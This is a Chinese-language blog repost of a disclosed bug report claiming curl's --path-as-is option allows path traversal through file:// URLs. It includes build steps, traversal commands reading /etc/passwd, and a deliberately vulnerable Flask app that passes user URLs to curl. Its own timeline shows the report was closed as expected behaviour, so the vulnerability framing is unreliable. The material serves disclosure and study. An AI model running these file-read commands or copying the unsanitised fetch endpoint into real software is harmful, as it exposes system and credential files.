利用curl的--path-as-is选项实现任意文件读取的路径遍历漏洞分析

本文详细分析了curl工具在使用--path-as-is选项结合file://协议时存在的路径遍历漏洞,攻击者可通过构造特殊路径读取系统敏感文件如/etc/passwd,并提供了完整的复现步骤和PoC代码示例。

任意文件读取漏洞:通过file://路径遍历与--path-as-is选项

漏洞概述

使用--path-as-is选项配合file:// URL时,curl会跳过..段的规范化处理,允许进程读取其有权访问的任何本地文件。

受影响版本

  • curl 8.15.0-DEV(提交2a9dfe275,2025年6月27日)在Kali Linux 2024.3,x86_64架构

复现步骤

构建带调试和ASan的curl:

1
2
3
4
git clone https://github.com/curl/curl.git && cd curl
autoreconf -fi
CFLAGS="-fsanitize=address -g" ./configure --enable-debug --with-openssl
make -j$(nproc)

读取/etc/passwd:

1
./src/curl --path-as-is file:///../../../../../../../../etc/passwd

读取/etc/hosts:

1
./src/curl --path-as-is file:///../../../../../../../../etc/hosts

缓解措施

即使在使用了--path-as-is选项时,也应在文件URL处理程序中规范化和清理..段,或者禁止在本地路径上使用该选项。

影响

可泄露任何全局可读文件,例如/etc/passwd、/etc/hosts、私钥等。

附加PoC

创建了一个基于Flask的Python Web应用,该应用接受URL并在内部调用curl --path-as-is

当使用file:///etc/passwd测试时,应用返回完整的文件内容。

这证明了该漏洞会影响依赖curl进行内部获取的应用程序,例如SSRF场景或代理端点。

Flask应用(测试服务器):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from flask import Flask, request
import subprocess

app = Flask(__name__)

@app.route('/fetch')
def fetch():
    url = request.args.get('url')
    result = subprocess.run(['./src/curl', '--path-as-is', url], capture_output=True, text=True)
    return result.stdout or result.stderr

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

确保将编译的curl二进制文件放在同一文件夹中或相应更新路径。

利用测试:

1
curl "http://127.0.0.1:8080/fetch?url=file:///../../../../../../../../etc/passwd"

结果:

返回/etc/passwd的内容:

1
2
3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

时间线

  • 2025年6月27日 9:42 UTC:demsese提交报告
  • 2025年6月27日 9:49 UTC:bagder(curl工作人员)发表评论
  • 2025年6月27日 10:11 UTC:demsese提供附加PoC
  • 2025年6月27日 10:15 UTC:dgustafsson(curl工作人员)发表评论
  • 2025年6月27日 10:17 UTC:demsese确认这是预期行为
  • 2025年6月28日 5:59 UTC:报告被关闭,状态改为"不适用"
  • 2025年6月28日 12:21 UTC:请求披露此报告
  • 2025年7月1日 14:08 UTC:报告被披露

报告详情

  • 报告ID:#3226502
  • 严重程度:中等(4 ~ 6.9)
  • 披露时间:2025年7月1日 14:08 UTC
  • 弱点类型:路径遍历
  • CVE ID:无
  • 赏金:无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计